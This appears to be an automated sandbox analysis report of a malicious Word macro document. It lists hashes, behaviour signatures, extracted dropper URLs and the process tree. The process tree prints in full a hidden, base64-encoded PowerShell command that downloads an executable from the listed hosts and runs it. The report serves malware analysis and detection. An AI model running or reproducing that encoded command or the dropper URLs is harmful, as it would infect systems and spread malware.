Analysis

  • max time kernel
    118s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 19:49

General

  • Target

    7be8220e7c88a316208834df2fa1ba259ced1bf3c75cec9b47ad395f1588c82a.doc

  • Size

    181KB

  • MD5

    fc04a920aa026fcacfe387dc064a3170

  • SHA1

    1d67dcad990aa792b467b3989dba90de015b361c

  • SHA256

    7be8220e7c88a316208834df2fa1ba259ced1bf3c75cec9b47ad395f1588c82a

  • SHA512

    065caa9a68c051bafb2b7fc0968005aae5ad978009d0bf03e8154753119a7cb3b10571b17570cb9ddeed3f1d77cb86a0e5efa5f17823e177bc9b2956e0c6200b

  • SSDEEP

    3072:9NO2y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBU9asiv8Oc73:9NO2k4PF7tGiL3HJk9rD7b9asiv8dj

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7be8220e7c88a316208834df2fa1ba259ced1bf3c75cec9b47ad395f1588c82a.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2644
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:484
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2720

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\EC637679.wmf

      Filesize

      444B

      MD5

      f0021f6444c0cafabbbd7ac18c9b06d5

      SHA1

      a23add97e9cc412a294b35e2889732716a8989c0

      SHA256

      aba617683d084566d2967aa360cca6fea6125309cc007fb588359b3ff10a6332

      SHA512

      4ef7316b001acd31e64c96d4e357f5f9daf649b898c03281218d1d9dede3480bbd0c9c07cbfd06563a5977c8930ec6601a3cc3e9d573109a03cf6c6dc723cdf1

    • memory/2644-22-0x0000000000680000-0x0000000000780000-memory.dmp

      Filesize

      1024KB

    • memory/2644-12-0x0000000000680000-0x0000000000780000-memory.dmp

      Filesize

      1024KB

    • memory/2644-21-0x0000000006700000-0x0000000006800000-memory.dmp

      Filesize

      1024KB

    • memory/2644-23-0x0000000006700000-0x0000000006800000-memory.dmp

      Filesize

      1024KB

    • memory/2644-25-0x0000000006700000-0x0000000006800000-memory.dmp

      Filesize

      1024KB

    • memory/2644-14-0x0000000000680000-0x0000000000780000-memory.dmp

      Filesize

      1024KB

    • memory/2644-13-0x0000000000680000-0x0000000000780000-memory.dmp

      Filesize

      1024KB

    • memory/2644-15-0x0000000000680000-0x0000000000780000-memory.dmp

      Filesize

      1024KB

    • memory/2644-16-0x0000000000680000-0x0000000000780000-memory.dmp

      Filesize

      1024KB

    • memory/2644-0-0x000000002F801000-0x000000002F802000-memory.dmp

      Filesize

      4KB

    • memory/2644-5-0x0000000006490000-0x0000000006590000-memory.dmp

      Filesize

      1024KB

    • memory/2644-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2644-2-0x000000007164D000-0x0000000071658000-memory.dmp

      Filesize

      44KB

    • memory/2644-40-0x0000000006700000-0x0000000006800000-memory.dmp

      Filesize

      1024KB

    • memory/2644-39-0x0000000000680000-0x0000000000780000-memory.dmp

      Filesize

      1024KB

    • memory/2644-35-0x000000007164D000-0x0000000071658000-memory.dmp

      Filesize

      44KB

    • memory/2644-36-0x0000000006490000-0x0000000006590000-memory.dmp

      Filesize

      1024KB

    • memory/2644-37-0x0000000000680000-0x0000000000780000-memory.dmp

      Filesize

      1024KB

    • memory/2644-38-0x0000000006700000-0x0000000006800000-memory.dmp

      Filesize

      1024KB

    • memory/2720-32-0x00000000022E0000-0x00000000022E8000-memory.dmp

      Filesize

      32KB

    • memory/2720-31-0x000000001B460000-0x000000001B742000-memory.dmp

      Filesize

      2.9MB